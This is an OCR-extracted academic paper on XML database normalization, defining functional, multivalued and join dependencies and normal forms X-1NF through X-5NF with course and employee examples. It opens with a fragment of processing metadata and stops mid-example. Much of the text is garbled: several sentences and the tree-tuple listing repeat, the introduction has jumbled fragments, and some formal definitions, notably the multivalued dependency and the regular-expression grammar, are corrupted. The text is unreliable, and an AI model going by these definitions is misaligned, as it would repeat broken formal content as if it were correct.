5000, false], [5000, 66476, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 66476, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 66476, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 66476, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 66476, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 66476, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 66476, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 66476, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 66476, null]], "pdf_page_numbers": [[0, 3936, 1], [3936, 7720, 2], [7720, 12251, 3], [12251, 14928, 4], [14928, 19549, 5], [19549, 23797, 6], [23797, 25884, 7], [25884, 30637, 8], [30637, 34164, 9], [34164, 38463, 10], [38463, 43440, 11], [43440, 47854, 12], [47854, 50675, 13], [50675, 54728, 14], [54728, 60390, 15], [60390, 64015, 16], [64015, 66476, 17]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 66476, 0.13781]]}
olmocr_science_pdfs
2024-11-25
2024-11-25
aff2ee4c8135f7ae8b44532bf93730fc4ee2b513
The Impact of XML Databases Normalization on Design and Usability of Internet Applications Hosam F. El-Sofany¹, Fayed F. M. Ghaleb², and Samir A. El-Seoud³ ¹Qatar University, Doha, Qatar ²Ain Shams University, Cairo, Egypt ³Princess Sumaya University for Technology, Amman, Jordan doi:10.3991/ijac.v3i2.1265 Abstract—Database normalization is a process which eliminates redundancy, organizes data efficiently and improves data consistency. Functional, multivalued, and join dependencies (FDs, MVDs, and JDs) play fundamental roles in relational databases where they provide semantics for the data and at the same time are the foundations for database design. In this study we investigate the issue of defining functional, multivalued and join dependencies and their normal forms in XML database model. We show that, like relational databases, XML documents may contain redundant information, and this redundancy may cause update anomalies. Furthermore, such problems are caused by certain dependencies among paths in the document. Our goal is to find a way for converting an arbitrary XML Schema to a well-designed one that avoids these problems. We extend the notion of tuple for relational databases to the XML model. We show that an XML tree can be represented as a set of tree tuples. We introduce the definitions of FD, MVD, and JD and new Normal Forms of XML Schema that based on these dependencies (X-1NF, X-2NF, X-3NF, X-BCNF, X-4NF, and X-5NF). We show that our proposed normal forms are necessary and sufficient to ensure all conforming XML documents have no redundancies. Index Terms—Database design, Functional, Multivalued, and Join dependencies, Normalization theory, XML I. INTRODUCTION Recently, several researchers studied the issue of Web-based application distinguished three basic levels in every web-based application: the Web character of the program, the pedagogical background, and the personalized management of the learning material [23]. They defined a web-based program as an information system that contains a Web server, a network, a communication protocol like HTTP, and a browser in which data supplied by users act on the system’s status and cause changes. The pedagogical background means the educational model that is used in combination with pedagogical goals set by the instructor. The personalized management of the learning materials means the set of rules and mechanisms that are used to select learning materials based on the student’s characteristics, the educational objectives, the teaching model, and the available media. Many works have combined and integrated these three factors in e-learning systems, leading to several standardization projects. Some projects have focused on determining the standard architecture and format for learning environments, such as IEEE Learning Technology Systems Architecture (LTSC), Instructional Management Systems (IMS), and Sharable Content Object Reference Model (SCORM). IMS and SCORM define and deliver XML-based interoperable specifications for exchanging and sequencing learning contents, i.e., learning objects, among many heterogeneous e-learning systems. They mainly focus on the standardization of learning and teaching methods as well as on the modeling of how the systems manage interoperating educational data relevant to the educational process. The eXtensible Markup Language (XML) has recently emerged as a standard for data representation and interchange on the Internet. With the increase of data-intensive web applications, XML has conquered the field of databases. It is argued that XML can be used as a database language, which would not only support the data exchange on the web. This has led to significant research efforts including: 1) The storage of XML documents in relational databases, 2) Query languages for XML, which lead to the standard query language, XQuery 3) Schema languages for XML, which lead to the widely accepted XML Schema language, 4) Updates of XML documents and, 5) Dependency and normal form theory [1-7]. Although many XML documents are views of relational data, the number of applications using native XML documents is increasing rapidly. Such applications may use native XML storage facilities [2], and update XML data [3]. Updates, like in relational databases, may cause anomalies if data is redundant. In the relational world, anomalies are avoided by developing a well-designed database schema. XML has its version of schema too; such as DTD (Document Type Definition), and XML Schema [4]. Our goal is to find the principles for good XML Schema design. We believe that it is important to do this research now, as a lot of data is being put on the web. Once massive web databases are created, it is very hard to change their organization; thus, there is a risk of having large amounts of widely accessible, but at the same time poorly organized legacy data. Normalization is a process which eliminates redundancy, organizes data efficiently and improves data consistency. Whereas normalization in the relational world has been quite explored, it is a new research area in native XML databases. Even though native XML databases mainly work with document-centric XML documents, and the structure of several XML document might differ from one to another, there is room for redundant information. This redundancy in data may impact on document updates, efficiency of queries, etc. Figure 1, shows an overview of the XML normalization process that we propose. Deeply investigated in the context of the relational data etc [9-12]. All these classes of dependencies have been, equality generating dependencies, functional dependencies, multivalued dependencies, and join dependencies, tightly connected with dependencies such as weak functional dependencies, multivalued dependencies, inclusion dependencies, join dependencies, etc [9-12]. All these classes of dependencies have been deeply investigated in the context of the relational data model [5, 6]. The work now requires its generalization to XML (trees like) model. The focus of this paper is on functional, multivalued and join dependencies and normal form theory. This theory concerns the old question of functional and multivalued dependencies, inclusion dependencies, weak functional and multivalued dependencies, and join dependencies, equality generating dependencies, multivalued dependencies, inclusion dependencies, key algorithms. In recent years, XML has emerged as a widely used data representation and storage format over the World Wide Web. The growing use of XML has necessitated the XML representation and storage format over the World Wide Web. The growing use of XML has necessitated the XML representation and storage format over the World Wide Web. The main contributions of this study are the new definitions of MVD and JD and the new normal forms of XML (trees like) model. The integrity constraints we consider are keys (P.K, F.K, …) and dependencies (functional and inclusion). In particular, we extend the definitions of functional and multivalued dependencies. In recent years, XML has emerged as a widely used data representation and storage format over the World Wide Web. The growing use of XML has necessitated the XML representation and storage format over the World Wide Web. ### Definition 1 (XSchema): An XSchema is denoted by 6-tuple: X = (E, A, M, P, r, S), where: - E is a finite set of element names. - A is a finite set of attribute names. - M is a function from E to its element type definitions: i.e., M(e) = α, where e ∈ E and α is a regular expression: \[ α := ε | t | α + α | α | α^* | α^+ \] where, ε denotes the empty element, t ∈ DT, "+" for the union, "+" for the concatenation, \( α^* \) for (α + ε) and \( α^+ \) for (α + ε)\. - P is a function from an attribute name a to its attribute type definition: i.e., P(a) = β, where β is a 4-tuple (t, n, d, f), where: t ∈ DT, n = Either "?" (nullable) or "!" (not nullable), d = A finite set of valid domain values of a or ε if not known, and f = A default value of a or ε if not known. - r is a finite set of root elements. - S is a finite set of integrity constraints for XML model. The integrity constraints we consider are keys (P.K, F.K, …) and dependencies (functional and inclusion). ### Definition 2 (path in XSchema): Given an XSchema X = (E, A, M, P, r, S), a string p = p₁…pₙ, is a path in X if, pᵢ = r, pᵢ is in the alphabet of M(pᵢ₋₁), for each i ∈ [2, n − 1] and pᵢ is in the alphabet of M(pᵢ₋₁) or pᵢ = @l for some @l ∈ P(pᵢ₋₁). - We let paths(X) stand for the set of all paths in X and EPaths(X) = { p ∈ paths(X) | last(p) ∈ E }. - An XSchema is called recursive if paths(X) is infinite. ### Definition 3 (XML tree): An XML tree T is defined to be a tree, T = (V, lab, ele, att, root), where: - V is a finite set of vertices (nodes). - lab : V → E - ele : V → Str ∪ V∗ - att is a partial function V × A → Str. For each v ∈ V, the set \{v ∈ V | att(v, @l) is defined\} is required to be finite. - root ∈ V is called the root of T. ### Definition 4 (path in XML tree): Given an XML tree T, a string: p₁…pₙ with p₁, …, pₙ ∈ E and pᵢ ∈ (E ∪ S), is a path in T if there are vertices vᵢ, …, vᵢ₋₁ ∈ V such that: - \( v₁ = \text{root}, \ vᵢ₋₁ \) is a child of \( vᵢ \) (1 ≤ i ≤ n − 2), \( \text{lab}(vᵢ) = pᵢ \) (1 ≤ i ≤ n − 1). - If pᵢ ∈ E, then there is a child vᵢ of vᵢ₋₁, s.t. \( \text{lab}(vᵢ) = pᵢ \). - If pᵢ = @l, with @l ∈ A, then att(vᵢ₋₁, @l) is defined. - We let paths(T) stand for the set of paths in T. Definition 5 (conformation and compatibility): Given an XSchema \( X = (E, A, M, P, r, \Sigma) \) and an XML tree \( T = (V, \text{lab}, \text{ele}, \text{att}, \text{root}) \), we say that \( T \) is valid w.r.t. \( X \) or \( T \) conforms to \( X \) written as \( (T \models X) \) if: - \( \text{lab} : V \rightarrow E \) - For each \( v \in V \), if \( M(\text{lab}(v)) = S \), then \( \text{ele}(v) = [s] \), where \( s \in \text{Str} \). Otherwise, \( \text{ele}(v) = [v_1, \ldots, v_n] \) and the string \( \text{lab}(v_i) \ldots \text{lab}(v_n) \) must be in the regular language defined by \( M(\text{lab}(v)) \) - \( \text{att} \) is a partial function, \( \text{att} : V \times A \rightarrow \text{Str} \) such that for any \( v \in V \) and \( @l \in A \), \( \text{att}(v, @l) \) is defined iff \( @l \in P(\text{lab}(v)) \) - \( \text{lab}(\text{root}) = r \) We say that \( T \) is compatible with \( X \) (written \( T \parallel X \)) if: - \( \text{paths}(T) \subseteq \text{paths}(X) \). Clearly, \( T \models X \iff T \parallel X \) Definition 6 (subsumed): Given two XML trees \( T_1 = (V_1, \text{lab}_1, \text{ele}_1, \text{att}_1, \text{root}_1) \) and \( T_2 = (V_2, \text{lab}_2, \text{ele}_2, \text{att}_2, \text{root}_2) \), we say that \( T_1 \) is subsumed by \( T_2 \), written as \( T_1 \subseteq T_2 \) if: - \( V_1 \subseteq V_2 \) - \( \text{root}_1 = \text{root}_2 \) - \( \text{lab}_{2|V_1} = \text{lab}_1 \) - \( \text{att}_{2|V_1 \times A} = \text{att}_1 \) - \( v \in V_1 \), \( \text{ele}_2(v) \) is a sub-list of a permutation of \( \text{ele}_1(v) \) Definition 7 (equivalence): Given two XML trees \( T_1 \) and \( T_2 \), we say that \( T_1 \) is equivalent to \( T_2 \) written \( T_1 = T_2 \) if: - \( T_1 \subseteq T_2 \) and \( T_2 \subseteq T_1 \) (i.e., \( T_1 = T_2 \) iff \( T_1 \) and \( T_2 \) are equal as unordered trees) We shall also write \( T_1 < T_2 \) when \( T_1 \leq T_2 \) and \( T_2 \neq T_1 \) In [21, 22] we extended the notion of tuple for relational databases to the XML model. In a relational database, a tuple is a function that assigns to each attribute a value from the corresponding domain. In our setting, a database, a tuple is a function that assigns to each attribute a value from the corresponding domain. In a relational database, a tuple is a function that assigns to each attribute a value from the corresponding domain. In a relational database, a tuple is a function that assigns to each attribute a value from the corresponding domain. Given XML Schema \( X = (E, A, M, P, r, \Sigma) \) and an XML document (tree) that conforms to this XML Schema is shown in Figure 2, [13]. Then a tree tuple in \( X \) assigns values to each path in \( \text{paths}(X) \) such as: \[ \begin{align*} &\text{t}(\text{courses}) = v_0 \\ &\text{t}(\text{courses.course}) = v_1 \\ &\text{t}(\text{courses.course.cno}) = \text{csc200} \\ &\text{t}(\text{courses.course.grade}) = v_3 \\ &\text{t}(\text{courses.course.taken_by}) = v_4 \\ &\text{t}(\text{courses.course.take_by_student}) = \text{Automata Theory} \\ &\text{t}(\text{courses.course.take_by_student.cno}) = \text{csc200} \\ &\text{t}(\text{courses.course.take_by_student.grade}) = v_5 \\ &\text{t}(\text{courses.course.take_by_student.student}) = \text{Deere} \\ &\text{t}(\text{courses.course.take_by_student.student.grade}) = A^+ \\ \end{align*} \] An example of an XML document (tree) that conforms to this XML Schema is shown in Figure 2, [13]. Then a tree tuple in \( X \) assigns values to each path in \( \text{paths}(X) \) such as: - \( \text{t}(\text{courses}) = v_0 \) - \( \text{t}(\text{courses.course}) = v_1 \) - \( \text{t}(\text{courses.course.cno}) = \text{csc200} \) - \( \text{t}(\text{courses.course.grade}) = v_3 \) - \( \text{t}(\text{courses.course.taken_by}) = v_4 \) - \( \text{t}(\text{courses.course.take_by_student}) = \text{Automata Theory} \) - \( \text{t}(\text{courses.course.take_by_student.cno}) = \text{csc200} \) - \( \text{t}(\text{courses.course.take_by_student.grade}) = v_5 \) - \( \text{t}(\text{courses.course.take_by_student.student}) = \text{Deere} \) - \( \text{t}(\text{courses.course.take_by_student.student.grade}) = A^+ \) Definition 8 (tree tuples): Given XML Schema \( X = (E, A, M, P, r, \Sigma) \), a tree tuple \( t \in X \) is a function, \( t \) assigns values to each path in \( \text{paths}(X) \) \[ \begin{align*} &\text{t}(\text{courses}) = v_0 \\ &\text{t}(\text{courses.course}) = v_1 \\ &\text{t}(\text{courses.course.cno}) = \text{csc200} \\ &\text{t}(\text{courses.course.grade}) = v_3 \\ &\text{t}(\text{courses.course.taken_by}) = v_4 \\ &\text{t}(\text{courses.course.take_by_student}) = \text{Automata Theory} \\ &\text{t}(\text{courses.course.take_by_student.cno}) = \text{csc200} \\ &\text{t}(\text{courses.course.take_by_student.grade}) = v_5 \\ &\text{t}(\text{courses.course.take_by_student.student}) = \text{Deere} \\ &\text{t}(\text{courses.course.take_by_student.student.grade}) = A^+ \\ \end{align*} \] Definition 9 (treeX): Given XML Schema \( X = (E, A, M, P, r, \Sigma) \) and a tree tuple \( t \in T(X) \), \( \text{treeX}(t) \) is defined to be an XML tree \( (V, \text{lab}, \text{ele}, \text{att}, \text{root}) \), where: - \( \text{root} = t.r \) Example 1: Suppose that \( X \) is the XML Schema shown below. ```xml <?xml version = "1.0" encoding = "ISO-8859-1"?> <xs:schema xmlns:xs = "http://www.w3.org/2001/XMLSchema"> <xs:element name = "courses"> <xs:complexType> <xs:sequence> <xs:element name = "name" type = "xs:string"/> <xs:element name = "grade" type = "xs:string"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> ``` THE IMPACT OF XML DATABASES NORMALIZATION ON DESIGN AND USABILITY OF INTERNET APPLICATIONS - \( V = \{ v \in \text{Vert} \mid \exists p \in \text{paths}(X) \text{ such that } v = t.p \} \) - If \( v = t.p \) and \( v \in V \), then \( \text{lab}(v) = \text{last}(p) \) - If \( v = t.p \) and \( v \in V \), then \( \text{ele}(v) \) is defined to be the list containing \( \{ t.p' \mid t.p' \neq \phi \text{ and } p' = p.t, t \in E, \text{ or } p' = p.S \} \), ordered lexicographically - If \( v = t.p, @l \in A \text{ and } t.p.@l \neq \phi \), then \( \text{att}(v, @l) = t.p.@l \) Proposition 1: If \( t \in T(X) \), then \( \text{tree}_X(t) \mid X \). - We have proved the following proposition [21, 22]. Proposition 2: If \( T \mid X \), then \( \text{tuples}_X(T) \) is a finite subset of \( T(X) \). Furthermore, \( \text{tuples}_X(t) \) is monotone: \( T_1 \leq T_2 \) implies \( \text{tuples}_X(T_1) \subseteq \text{tuples}_X(T_2) \). Example 3: In example 1, we saw the XML Schema \( X \) and a tree \( T \) conforming to \( X \), and we saw one tree tuple \( t \) for that tree, with identifiers assigned to some of the element nodes of \( T \). If we assign identifiers to the rest of the nodes, we can compute the set \( \text{tuples}_X(T) \): \[ \{(v_0, v_1, csc200, v_2, Automata Theory, v_3, v_4, st1, v_5, Deere, v_6, A+)\} \{v_0, v_1, v_3, v_4, st2, v_5, Smith, v_6, B-\} \{(v_0, v_10, mat100, v_11, Calculus I, v_12, v_13, st1, v_14, Deere, v_15, A)\} \{v_0, v_10, mat100, v_11, Calculus I, v_12, v_16, st3, v_17, Smith, v_18, B+\}\] Finally, we define the trees represented by a set of tuples \( Y \) as the minimal, with respect to \( \leq \), trees containing all tuples in \( Y \). Definition 11 (trees\(_X\)) Given XML Schema \( X \) and a set of tree tuples \( Y \subseteq T(X) \), \( \text{trees}_X(Y) \) is defined to be: \[ \text{min}_{\leq} \left\{ T \mid T \mid X \text{ and } \forall t \in Y, \text{tree}_X(t) \leq T \right\} \] Note that: - We say that \( Y \subseteq T(X) \) is \( X \)-compatible if there is an XML tree \( T \mid X \) and \( Y \subseteq \text{tuples}_X(T) \). - For \( X \)-compatible set of tree tuples \( Y \), there is always an XML tree \( T \): for every \( t \in Y \), \( \text{tree}_X(t) \leq T \). - We have proved the following proposition, and corollary [21, 22]: Proposition 3: If \( Y \subseteq T(X) \) is \( X \)-compatible, then: - There is an XML tree \( T \) such that \( T \mid X \) and \( \text{trees}_X(Y) = [T] \) - \( Y \subseteq^b \text{tuples}_X(\text{trees}_X(Y)) \) Corollary: For a \( X \)-compatible set of tree tuples \( Y \): \( \text{trees}_X(\text{tuples}_X(\text{trees}_X(Y))) = \text{trees}_X(Y) \). III. NORMAL FORMS BASED ON FUNCTIONAL DEPENDENCIES A. Functional dependencies of XML schema We define the functional dependencies for XML Schema by using the tree tuples representation that discussed previously. Definition 12 (functional dependencies): Given an XML Schema X, a functional dependency (FD) over X is an expression of the form: \( S_1 \rightarrow S_2 \) where \( S_1, S_2 \subseteq \text{paths}(X) \), \( S_1, S_2 \neq \emptyset \). The set of all FDs over X is denoted by FD(X). For \( S \subseteq \text{paths}(X) \) and \( t, t' \in T(X) \), \( t.S = t'.S \) means \( t.p = t'.p \) \( \forall p \in S \). Furthermore, \( t.S \neq \emptyset \) means \( t.p \neq \emptyset \) \( \forall p \in S \). Definition 13: If \( S_1 \rightarrow S_2 \in \text{FD}(X) \) and T is an XML tree s.t. \( T \supseteq X\) and \( S_1 \cup S_2 \subseteq \text{paths}(T) \), we say that T satisfies \( S_1 \rightarrow S_2 \) (written \( T \models S_1 \rightarrow S_2 \)), if \( \forall t_1, t_2 \in \text{tuples}_X(T) \), \( t_1.S_1 = t_2.S_1 \) and \( t_1.S_2 \neq \emptyset \) \( \in t_1.S_2 = t_2.S_2 \). Definition 14: If for every pair of tree tuples \( t_1, t_2 \) in an XML tree T, \( t_1.S_1 = t_2.S_1 \) implies they have a null value on some p \( \in S_1 \), then the FD is trivially satisfied by T. The previous definitions extend to the equivalence classes, since, for any FD f and \( T = T' \), \( T \models f \) iff \( T' \models f \). We write \( T \models F \), for \( F \in \text{FD}(X) \), if \( T \models f \) for each f \( \in F \) and we write \( T \models (X, F) \), if \( T \models X \) and \( T \models F \). Example 6: Consider the XML Schema in example 1, we have the following FDs. Note that, cno is a key of course: \[ \text{courses.course.@cno} \rightarrow \text{courses.course} \quad \text{(FD1)} \] Another FD says that two distinct student sub-elements of the same course cannot have the same sno: \[ \{\text{courses.course,courses.course.taken_by.student.@sno}\} \rightarrow \text{courses.course.taken_by.student} \quad \text{(FD2)} \] Finally, to say that two student elements with the same sno value must have the same name, we use: \[ \text{courses.course.taken_by.student.@sno} \rightarrow \text{courses.course.taken_by.student.name.S} \quad \text{(FD3)} \] Definition 15: Given XML Schema X, a set F \( \subseteq \text{FD}(X) \) and f \( \in \text{FD}(X) \), we say that (X, F) implies f, written \( (X, F) \models f \), if for any tree T with \( T \models X \) and \( T \models F \), it is the case that \( T \models f \). The set of all FDs implied by (X, F) will be denoted by \( (X, F)' \). Definition 16: an FD f is trivial if \( (X, \emptyset) \models f \). B. Primary and Foreign Keys of XML Schema We present the definitions of the primary and foreign keys of the XML Schema. We'll use these definitions to introduce the normal forms of XML Schema. Also, we observe that while there are important differences between the XML and relational models, much of the thinking that commonly goes into relational database design can be applied to XML Schema design as well. Definition 17 (key, foreign key and superkey): Let X = (E, A, M, P, r, \( \Sigma \)) be XML Schema, a constraint \( \Sigma \) over X has one of the following forms: Key: \( e(l) \rightarrow e \), where \( e \in E \) and l is a set of attributes in \( P(e) \). It indicates that the set l of attributes is a key of e elements Foreign key: \( e_1(l_1) \subseteq e_2(l_2) \) and \( e_2(l_2) \rightarrow e_2 \) where \( e_1, e_2 \subseteq E \) and \( l_1, l_2 \) are non-empty sequences of attributes in \( P(e_1), P(e_2) \), respectively and moreover \( l_1 \) and \( l_2 \) have the same length. This constraint indicates that \( l_1 \) is a foreign key of \( e_1 \) elements referencing key \( l_2 \) of \( e_2 \) elements. A constraint of the form \( e_1(l_1) \subseteq e_2(l_1) \) is called an inclusion constraint. Observe that a foreign key is actually a pair of constraint, namely an inclusion constraint \( e_1(l_1) \subseteq e_2(l_2) \) and a key \( e_2(l_1) \rightarrow e_2 \). Superkey: suppose that, \( e \subseteq E \) and for any two distinct paths \( p_1 \) and \( p_2 \) in the XML Schema X, we have the constraint that: \( p_1(e) \neq p_2(e) \). The subset e is called a superkey of X. Every XML Schema has at least one default superkey - the set of all its elements. C. First normal form for XML schema (X-1NF) First normal form (1NF) is now considered to be a part of the formal definition of a relation in the basic relational database model. Historically, it was defined as: "The domain of an attribute in a tuple must be a single value from the domain of that attribute" [20]. Of course, XML is hierarchical by nature. An XML "tuple" can vary from first normal form in several ways; all of them are valid by means of data modeling. Definition 18: A FD \( S_1 \rightarrow S_2 \), where \( S_1, S_2 \subseteq \text{paths}(X) \) is called full FD, if removal of any element's path p from \( S_1 \), means that the dependency does not hold any more, (i.e., for any p \( \in S_1 \), (S_1-\{p\}) does not functional determine S_2). Definition 19: A FD \( S_1 \rightarrow S_2 \) is called partial dependency if, for some p \( \in S_1 \), (S_1-\{p\}) \rightarrow S_2 is hold. Example 7: Consider the following part of XML Schema called "Emp_Proj": \[ <\!\text{xs:complexType name = "Emp_Proj"}> <\!\text{xs:sequence}> <\!\text{xs:element name = "Sss" type = "string"}> <\!\text{xs:element name = "Pnumber" type = "string"}> <\!\text{xs:element name = "Plocation" type = "string"}> <\!\text{xs:complexType name = "Emp_Proj"}> http://www.i-jac.org With the following FDs: FD1: \{Emp\_Proj.Sss, Emp\_Proj.Pnumber\} → Emp\_Proj.Hours FD2: Emp\_Proj.Sss → Emp\_Proj.Ename Note that: FD1 is a full FD (neither Emp\_Proj.Sss → Emp\_Proj.Hours nor Emp\_Proj.Pnumber → Emp\_Proj.Hours holds). Definition 20 (X-2NF): An XML Schema X = (E, A, M, P, r, Σ) is in second normal form (X-2NF) if every elements e ∈ E and attributes l ⊆ P(e) are fully functionally dependent on the key elements of X. The test for X-2NF involves testing for FDs whose left-hand side are part of the primary key. If the primary key contain a single element's path, the test need not be applied at all. Example 8: The XML Schema Emp\_Proj in the above example is in X-1NF but is not in X-2NF. Because the FDs FD2 and FD3 make Emp\_Proj.Ename, Emp\_Proj.Pname and Emp\_Proj.Plocation partially dependent on the primary key \{Emp\_Proj.Sss, Emp\_Proj.Pnumber\} of Emp\_Proj, thus violating the X-2NF test. Hence, the FDs FD1, FD2 and FD3 lead to the decomposition of XML Schema Emp\_Proj to the following XML Schemas EP1, EP2 and EP3: E. Third Normal Form of XML Schema (X-3NF) X-3NF is based on the concept of transitive dependency. Definition 21: A FD S1 → S2, where S1, S2 ⊆ paths(X) is transitive dependency if there is a set of paths Z (that is neither a key nor a subset of any key of X) and both S1 → Z and Z → S2 hold. Example 9: Consider the following XML Schema called "Emp\_Dept": Emp\_Dept(Ssn, Ename, Bdate, Address, Dnumber, Dname, DmgrSsn) With the following FDs: FD1: Emp_Dept.Ssn → {Emp_Dept.Ename, Emp_Dept.Bdate, Emp_Dept.Address, Emp_Dept.Dnumber} FD2: Emp_Dept.Dnumber → {Emp_Dept.Dname, Emp_Dept.DmgrSsn} Note that: The dependency: Emp_Dept.Ssn → Emp_Dept.DmgrSsn is transitive through Emp_Dept.Dnumber in Emp_Dept, because both the FDs: Emp_Dept.Ssn → Emp.Dept.Dnumber Emp_Dept.Dnumber → Emp_Dept.DmgrSsn hold and Emp_Dept.Dnumber is neither a key itself nor a subset of the key of Emp_Dept. Definition 22 (X-3NF): An XML Schema X = (E, A, M, P, r, Õ) is in third normal form (X-3NF) if it satisfies X-2NF and no (elements e ∈ E or l ⊆ p(e)) is transitively dependent on the key elements of X. Example 10: The XML Schema Emp_Dept in the above example is in X-2NF (since no partial dependencies on a key element exist), but Emp_Dept is not in X-3NF. Because of the transitive dependency of Emp_Dept.DmgrSsn (and also Emp_Dept.Dname) on Emp_Dept.Ssn via Emp_Dept.Dnumber. We can normalize Emp_Dept by decomposing it into the following two XML Schemas ED1 and ED2: ED1(Ssn, Ename, Bdate, Address, Dnumber) ED2(Dnumber, Dname, DmgrSsn) F. Boyce-codd normal form of XML schema (X-BCNF) X-BCNF is proposed as a similar form as X-3NF, but it was found to stricter than X-3NF, because every XML Schema in X-BCNF is also in X-3NF, however, an XML Schema in X-3NF is not necessarily in X-BCNF. The formal definitions of BCNF differs slightly from the definition of X-3NF Definition 23 (X-BCNF): An XML Schema X = (E, A, M, P, r, Õ) is in Boyce-Codd Normal Form (X-BCNF) if whenever a nontrivial FD S1 → S2 holds in X, where S1, S2 ⊆ paths(X), then S1 is a superkey of X. Also, we can consider the following definition of X-BCNF: Definition 24: Given XML Schema X and F ⊆ FD(X), (X, F) is in X-BCNF iff for every nontrivial FD f ∈ (X, F)', of the form S → p.@l or S → p.S, it is the case that, S → p ∈ (X, F)'. The intuition is as follows: Suppose that S → p.@l ∈ (X, F)'. If T is an XML tree conforming to X and satisfying F, then in T for every set of values of the elements in S, we can find only one value of p.@l. Thus, for every set of values of S, we need to store the value of p.@l only once, in other words, S → p must be implied by (X, F). In definition 24, we suppose that, f is a nontrivial FD. Indeed, the trivial FD p.@l → p.@l is always in (X, F)', but often p.@l → p ´ (X, F)’, which does not necessarily represent a bad design. To show how X-BCNF distinguishes good XML design from bad design, we consider example 1 again, when only functional dependencies are provided. Example 11: Consider the XML Schema from example 1 whose FDs are FD1, FD2 and FD3, shown in example 6. FD3 associates a unique name with each student number, which is therefore redundant. The design is not in X-BCNF, since it contains FD3 but does not imply the functional dependency: courses.course.taken_by.student.@sno → courses.course.taken_by.student.name to solve this problem, we gave a revised XML Schema in example 1. The idea was to create a new element info for storing information about students. That design satisfies FDs, FD1, FD2, as well as, courses.info.number.@sno → courses.info, can be easily verified to be in X-BCNF. IV. NORMAL FORMS BASED ON MULTIVALUED DEPENDENCIES We have discussed only FD, which is by far the most important type of dependency in XML database design theory. However, in many cases XML documents have constraints that cannot be specified as FD. In this part of the article, we discuss the concept of multivalued dependency and define fourth normal form of XML Schema (X-4NF), based on this dependency. **Definition 25 (multivalued dependency):** Given an XML Schema X, a *multivalued dependency* (MVD) over X is an expression of the form: $S_1 \rightarrow S_2$ where $S_1, S_2 \subseteq \text{paths}(X)$. $S_1, S_2 \neq \phi$, specifies the following constraint on any path state $S$ of $\text{paths}(X)$: If two paths $t_1, t_2 \in T(X)$ exist in $\text{paths}(X)$ such that $t_1.S_1 = t_2.S_1$, then two paths $t_1, t_2 \in T(X)$ should also exist in $\text{paths}(X)$ with the following properties, where we use $S_1$ to denote $(X - (S_1 \cup S_2))$: - $t_1.S_2 = t_2.S_2 = t_1.S_1 = t_2.S_1$ - $t_1.S_2 = t_1.S_2$ and $t_4.S_2 = t_3.S_2$ - $t_1.S_3 = t_2.S_3$ and $t_4.S_3 = t_1.S_3$ Whenever $S_1 \rightarrow S_2$ holds, we say that $S_1$ multi-determines $S_2$. Because of the symmetry in the definition, whenever $S_1 \rightarrow S_2$ holds in X, so does $S_1 \rightarrow S_2$. Hence $S_1 \rightarrow S_2$ implies $S_1 \rightarrow S_3$, therefore we can write it as: $S_1 \rightarrow S_2 \rightarrow S_3$. Note that: an MVD $S_1 \rightarrow S_2$ in XML Schema X is called a *trivial MVD* if $S_2 \subseteq S_1$ or $(S_1 \cup S_2) = \text{paths}(X)$. **A. Fourth normal form of XML schema (X-4NF)** **Definition 26 (fourth normal form):** An XML Schema X is in *fourth normal form* (X-4NF) with respect to a set of dependencies $F$ (that includes functional dependencies and multivalued dependencies) if, for every *nontrivial* multivalued dependency $S_1 \rightarrow S_2 \in F^+$, $S_1$ is a superkey for X. Note: $F^+$ is the (complete) set of all dependencies (functional or multivalued) that will hold in every path $t \in T(X)$ that satisfies $F$. It is also called the closure of $F$. **Example 12:** Consider the following XML Schema called "EMP", with the following MVDs: - EMP.Ename $\rightarrow$ EMP.Pname, and - EMP. Ename $\rightarrow$ EMP.Dname The XML Schema "EMP" has no FD since it is an all-key XML Schema. Because BCNF constraints are stated in terms of FD only, an all-key Schema is always in BCNF by default. Hence EMP is in X-BCNF. However, EMP is not in X-4NF because in the nontrivial MVDs EMP.Ename $\rightarrow$ EMP.Pname and EMP.Ename $\rightarrow$ EMP.Dname, and Ename is not a superkey of EMP. We decompose EMP into EMP-PROJECTS and EMP-DEPENDENTS: - EMP.EType $\rightarrow$ EMP-PROJECTS.Pname - EMP.EType $\rightarrow$ EMP-DEPENDENTS.Dname Both EMP-PROJECTS and EMP-DEPENDENTS are in X-4NF, because the MVDs: - EMP-PROJECTS.Ename $\rightarrow$ EMP-PROJECTS.Pname in EMP-PROJECTS and EMP-DEPENDENTS, and - EMP-DEPENDENTS.Dname, in EMP-DEPENDENTS are trivial MVDs. No other FDs and nontrivial MVDs hold in either EMP-PROJECTS or EMP-DEPENDENTS. Note that: The relational view of the XML Schemas "EMP", "EMP-PROJECTS", "EMP-DEPENDENTS" and the corresponding relation states can be illustrated in the following Figure: EMP (Ename, Pname, Dname) V. NORMAL FORMS BASED ON JOIN DEPENDENCIES Definition 27 (join dependency): A join dependency (JD), denoted by JD(X_1, X_2, ..., X_n), specified on XML Schema X, specifies a constraint on the XML trees T of X. The constraint states that every complete XML tree T of X should have a non-additive join decomposition into X_1, X_2, ..., X_n, that is, for every such XML tree T we have: * (π_{X_1}(T), π_{X_2}(T), ..., π_{X_n}(T)) = T Note that: - An MVD is a special case of a JD where n = 2. - A join dependency JD(X_1, X_2, ..., X_n), specified on XML Schema X, is a trivial JD if one of the XML Schema Xi in JD(X_1, X_2, ..., X_n) is equal to X. A. Fifth normal form of XML schema: Definition 28 (fifth normal form): An XML Schema X is in fifth normal form (X-5NF) or (Project-Join Normal Form (X-PJNF)) with respect to a set of dependencies F of functional, multivalued, and join dependencies if, for every nontrivial join dependency JD(X_1, X_2, ..., X_n) ∈ F⁺ (that is, implied by F), every X_i is a superkey of X. Example 13: Consider the following XML Schema called "SUPPLY", with no MVDs is in X-4NF but not in X-5NF: \[ \begin{align*} \text{SUPPLY} & : \text{complexType} \\ & (: \text{sequence} \\ & \quad (: \text{element} \text{name = "Sname" type = "string"}) \\ & \quad (: 